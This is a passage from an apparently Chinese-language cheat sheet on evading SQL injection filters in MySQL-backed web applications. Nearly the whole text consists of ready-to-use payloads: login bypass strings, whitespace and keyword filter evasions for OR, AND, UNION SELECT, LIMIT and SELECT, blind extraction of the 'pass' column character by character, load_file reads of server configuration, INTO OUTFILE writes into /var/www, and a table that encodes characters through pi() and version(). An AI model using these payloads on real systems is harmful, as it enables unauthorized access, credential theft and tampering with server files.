' or 1=true #true=1, false=0 ' or 1 #true ' or version()=5.5 #5.5.41-log
' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4
select * from users where 'a'='b'='c' select * from users where ('a'='b')='c' select * from users where (false)='c' select * from users where (0)='c' select * from users where (0)=0 select * from users where true select * from users
以上的语句都是同样的效果
4、认证绕过
绕过语句：'='
1 2 3
select data from users where name="=" select data from users where flase=" select data from users where 0=0
绕过语句：'-'
1 2 3
select data from users where name=''-'' select data from users where name=0-0 select data from users where 0=0
0x02 关键字过滤
空格
过滤代码/\s/
1
%20, %09, %0a, %0b, %0c, %0d, %a0
关键字OR，AND
过滤代码/\sor\s/i,/\sand\s/i
1 2 3
'||1='1 #or '=' '&&1='1 #and
关键字union select
过滤代码/union\s+select/i
1 2 3 4 5
'and(true)like(false)union(select(pass)from(users))# 'union [all|distinct] select pass from users# 'union%a0select pass from users# 'union/*!select*/pass from users# /vuln.php?id=1 union/*&sort=*/select pass from users-- -
如果单独过滤union,使用盲注来获取数据
1
'and(select pass from users limit 1)='secret
通过子查询获取单值来进行比较
关键字limit
过滤代码/limit/i
1 2 3
'and(select pass from users where id=1)='a 'and(select pass from users group by id having id=1)='a 'and length((select pass from users having substr(pass,1,1)='a'))
select [all|distinct] pass from users select`table_name`from`information_schema` . `tables` select pass as alias from users select pass aliasalias from users select pass`alias alias`from users select+pass%a0from(users)
关键字select
过滤代码/select/i
1 有文件读取权限
1 2
' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+ length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt
2 获取列名
1 2
' and 列名 is not null# ' procedure analyse()#
使用substr来做过滤条件
1
'and substr(pass,1,1)='a
关键字select,and,&
‘0#
1 2 3
select data from users where name = ''-0 # int typecast select data from users where name = 0 # int typecast select data from users where 0 = 0 # true
‘-1#
1
select data from users where 0 = -1 # false
使用条件判断来进行true、false的选择
1 2
ifnull(nullif()), case when， if() '-if(name='Admin',1,0)#
使用嵌套条件'-if(
1 2 3
if(name='Admin',1,0), // condition if(substr(pass,1,1)='a',1,0) // if true ,0)# // if false
0x03 函数过滤
构建字符串相关函数
1 2 3 4 5 6 7 8
unhex char hex ascii ord substr substring mid pad left right insert ' and substr(data,1,1) = 'a'# ' and substr(data,1,1) = 0x61# 0x6162 ' and substr(data,1,1) = unhex(61)# unhex(6162) ' and substr(data,1,1) = char(97)# char(97,98) ' and hex(substr(data,1,1)) = 61# ' and ascii(substr(data,1,1)) = 97# ' and ord(substr(data,1,1)) = 97#
使用conv来进行进制的转换
1 2 3
' and substr(data,1,1) = lower(conv(10,10,36))# 'a' ' and substr(data,1,1) = lower(conv(11,10,36))# 'b' ' and substr(data,1,1) = lower(conv(36,10,36))# 'z'
使用函数来猜解数据
1 2 3
' and substr(data,1,1) = 'a'# ' and substring(data,1,1) = 'a'# ' and mid(data,1,1) = 'a'#
false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T
